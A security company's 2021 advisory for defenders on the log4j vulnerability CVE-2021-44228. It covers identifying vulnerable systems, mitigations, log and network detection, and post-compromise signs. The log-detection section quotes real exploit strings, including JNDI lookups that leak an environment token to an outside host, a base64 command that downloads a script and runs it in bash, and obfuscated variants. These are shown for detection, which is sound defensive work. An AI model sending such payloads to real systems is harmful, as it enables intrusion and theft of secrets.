Latest News: Forrester Recognizes Binary Defense as Notable MDR Provider

Download Report
Binary Defense Full Color Logo Dark Markless Binary Defense Full Color Logo Dark Markless Binary Defense Full Color Logo Light Markless Binary Defense Full Color Logo Light Markless

Search

Binary Defense Full Color Logo Dark Markless Binary Defense Full Color Logo Dark Markless Binary Defense Full Color Logo Light Markless Binary Defense Full Color Logo Light Markless

Advice for Defenders Responding to the log4j Vulnerability CVE-2021-44228

By Binary Defense
Published: December 13, 2021
Updated: April 17, 2023

By

Binary Defense Security Operations, Engineering, and Threat Hunting analysts have been working alongside our clients and our friends in the infosec community to mitigate the threat to organizations as a result of the critical Apache log4j vulnerability that is actively being exploited by threat actors. We are especially thankful for our colleagues at TrustedSec, who have been collaborating with us and sharing research results between the two companies to help all of our clients. We recommend you read the TrustedSec blog, too.

We greatly appreciate all the information and resources shared by the community. We wish to acknowledge and share these resources and advice from our team members.

Executive Summary

This critical vulnerability affects many software products, and it is likely that your company uses several of them, but may not have firm answers about vulnerability status or patches from your vendors for days or weeks. Attackers have already started attacks in mass and continue to innovate new ways to exploit it. This means that the risk of your company experiencing an intrusion and data breach is much higher than normal for the next several weeks, and you should prepare your IT administration and security staff to respond if needed. This may be difficult and stressful for your teams and will require compassionate leadership on your part to take care of your people while asking them to work long hours that they didn’t plan for. Take the time now to prioritize efforts, communicate clearly what plan to follow in case of a breach, and do everything you can up front to mitigate the damage if a vulnerable system is compromised.

Advice from the Trenches:

  • Identify your vulnerable systems – this is not easy to do, but should be your first priority . Identify any software using log4j versions less than 2.15.0. Version 1.x of log4j is past its end-of-life and should not be used in production systems, but is not believed to be vulnerable to CVE-2021-44228.

Identify Vulnerable Commercial Products by Name and Version

  • Many software products from major vendors use log4j behind the scenes and are vulnerable, and not every software vendor has finished assessing their products or announced patch development schedules as of December 12th. Keep a close watch on announcements from all your vendors.

Identify by Vulnerability Scanners

  • The bottom line here is to make sure you use them.They might not be perfect, but they work reasonably well to detect vulnerable applications and will get better over time.
    • These will have the best accuracy when detecting vulnerable versions of commercial applications, and have reasonably good results testing custom Java applications, too. Binary Defense set up a vulnerable custom server and found that it was detected accurately by Nessus as long as the HTTP headers that Nessus used for testing (User-Agent, Referer, and X-Api-Header) were logged using log4j on requests to the home page. If the vulnerable part of the application is buried in a form on an internal page, a vulnerability scanner might not catch it.

Identify Custom Java Applications that are Vulnerable  

  • If your company has developed any applications in Java (whether they are server-based web applications or desktop applications that process files or other input from untrusted sources), there’s a good chance that they have incorporated log4j or a project that has log4j inside its dependency tree. Your software developers might not even know that they used log4j at all.
    • To scan these applications locally, use a software dependency scanner such as the free and open-source project Syft from Anchore: https://github.com/anchore/syft
    • Binary Defense researchers created a vulnerable server in a Docker container and then scanned it with Syft, which revealed the versions of log4j (and all the other dependencies) that were in use. Any 2.x version less than 2.15 is vulnerable.
class=

Get notified when you triggered a reaction

  • If possible, isolate vulnerable systems from other critical parts of your network and patch them as soon as you can. If you can’t apply patches right away, consider the recommended work-around mitigation advice from Apache: https://logging.apache.org/log4j/2.x/security.html
    • Mitigation: In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9 and <=2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
    • Note that for some products, such as Logstash, these work-around mitigations are not sufficient, and the software must be patched to remove the vulnerability.

Priority: Internal or External Systems? Linux, Windows, or macOS?

  • Attacks are already prevalent against servers facing the public Internet, so it makes sense to make sure those are your company’s top priority to identify and patch or mitigate and keep a close eye on.
    • However, the only thing separating an attacker from the outside of your network from having access to the inside behind your firewall is one employee opening a malicious email attachment. As soon as your public-facing servers are under control, you’ll need to quickly turn to handle internal servers.
    • Consider the opportunity to place detection honeypot servers inside your network that listen on port 8080 and present a simple login form. Detect if any IP address in your internal network sends a log4j exploit string to the honeypot, and use it to detect compromised workstations (or insider threats).
    • Linux systems have been reported to be the most heavily targeted so far, but Windows and macOS are just as vulnerable if they run any application that uses log4j. Examine every system that uses Java-based applications, and prioritize your most sensitive and important systems first regardless of what OS they use.
    • If you have Java-based applications running on Domain Controllers, strongly consider moving those applications to a different server. Domain Controllers are the most sought-after goals of attackers in any enterprise network and should present the least attack surface possible.
  • For systems that cannot be patched immediately, focus on early detection.

 

Detection in Logs

  • The best source of evidence of an attack is in the application-specific logs (typically known as access logs or combined logs) because the exploit relies on the malicious payload being written to a log in order to work.
    • You need to be able to search the logs using regular expressions for best results, but even simple text searches are better than nothing. The attack payloads will look something like these examples:
      • ${jndi:ldap://7ae364cd167c.bingsearchlib.com:39356/a}
  • ${jndi:ldaps://e873c483.probe001.log4j.leakix.net:443/b%7D
  • ${jndi:rmi://${env:VAULT_TOKEN}.example.com}
  • ${jndi:dns://31-134-204-142.scanworld.net/ua}
  • ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zOC44Ni4xOS4zNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMzguODYuMTkuMzQ6NDQzKXxiYXNo}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}
  • ${${env:BEETLEJUICE:-j}ndi${env:BEETLEJUICE:-:}${env:BEETLEJUICE:-l}dap:// 205.185.115.217:47324/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}’
  • Florian Roth created a log scanning tool in Python that does not use regular expressions, but looks for the payloads as sequences of characters in the right order with any number of obfuscation characters in between: https://github.com/Neo23x0/log4shell-detector

Where are the Logs?

  • You may have to search to find where the logs are stored. It is important to note that the logs with the evidence of compromise will be generated by the Java application. They will not be collected by EDR systems, but they might be forwarded to your SIEM. On Linux systems, look for logs in /var/log, but they could be in /opt, /usr/share, or in the same directory where the vulnerable application runs from (typically in a subdirectory called log or logs)Check for the path to the logs in the application’s configuration file (usually in an xml or yaml or json file in /etc/application_name, but it could be under /opt or /usr/share or somewhere else).On Windows systems, the logs might be anywhere: in the application’s AppData folder, or in the application’s Program Files folder. Check the configuration or Google to find the typical log folder for your application.
    • Get your application logs forwarded to a centralized logging collection system if they aren’t already. If the application deletes older logs to make room for newer ones, your most valuable information about an attack might disappear if you don’t preserve it.
    • If you can’t find the application logs from the vulnerable Java application right away, also try looking in the access logs for any kind of WAF or reverse-proxy or load-balancer that might sit in front of your application. If you are lucky, the malicious payload will be in a field that is also logged by the proxy (such as User-Agent or Referer). However, the best source of logs is from the Java application itself.

Detection by Network Inspection

  • Network packet inspection systems (e.g. Cisco Firepower, Suricata, Zeek, Snort, etc.) can potentially spot patterns of attack payloads in network packets, but they must be deployed in front of vulnerable application servers and they must terminate TLS connections to decrypt and inspect the payload at the application layer to be effective.
    • Binary Defense security engineers have been implementing custom detection rules for clients with network packet inspection devices.

Making Use of Public Scanning

Detection of Anomalous Processes

  • In some attack attempts that Binary Defense analysts have seen so far, attackers attempted to exploit the vulnerability to cause the vulnerable application to launch a child process (such as a bash shell). If you have identified vulnerable applications, look in your EDR event data for what child processes are normally spawned by that application, and set up a custom alert for anything out of the ordinary.
    • In other cases, attackers have not spawned any child process and have simply accessed sensitive information such as API keys or AWS secrets stored in environment variables. You need to inspect logs to find those and reset the keys or revoke the secrets immediately.

Detection of Anomalous Network Connections

  • Web applications that serve connections from the public Internet typically accept many incoming connections on the ports that they are set up to listen to, but most do not initiate many outbound connections to other servers on the Internet, or if they do, it is usually a small and well-defined set of servers. If this description is accurate for your vulnerable server, you can use firewall logs or EDR records of network connections to detect when an unexpected outbound connection is initiated.
    • All the attacks against log4j that have been observed by Binary Defense analysts have initiated an outbound connection from the vulnerable server to the attacker’s server. It is important to note that the attacker’s server can be listening on any port, not just port 1389 which is typically used for LDAP, so don’t assume anything about the attacker’s IP address or port.

Detection of Post-Compromise Behavior

  • Most of the publicly-reported threat activity after an initial machine is compromised has been mining of cryptocurrency (e.g. Monero, Kinsing). Look for high CPU usage, and DNS lookups of Monero mining pool domains. A list can be found at the following link: https://github.com/BinaryDefense/mining-pools/blob/main/xmr-pools.txt
    • Microsoft reported observing Cobalt Strike Beacon being deployed after initial compromise with log4j. This represents a more serious threat to systems and is used frequently by ransomware operators. There are many threat hunting approaches to detecting Cobalt Strike, but one of the most reliable ones is detecting repeating outbound network connections to an external server, or anomalous connections from the web server to internal systems including Domain Controllers.
    • If the log4j exploit is used to steal a sensitive environment variable containing an access token such as an authentication key or secret, it is wise to check auditing of the use of that access token from unusual IP addresses.
    • Binary Defense Security Operations Analysts watch events from endpoints carefully to detect any anomalous behavior and investigate to determine if it is authorized or represents an intrusion. Regardless of the method of initial access, this is the strongest and most reliable way to quickly detect and respond to intrusions.

Other Resources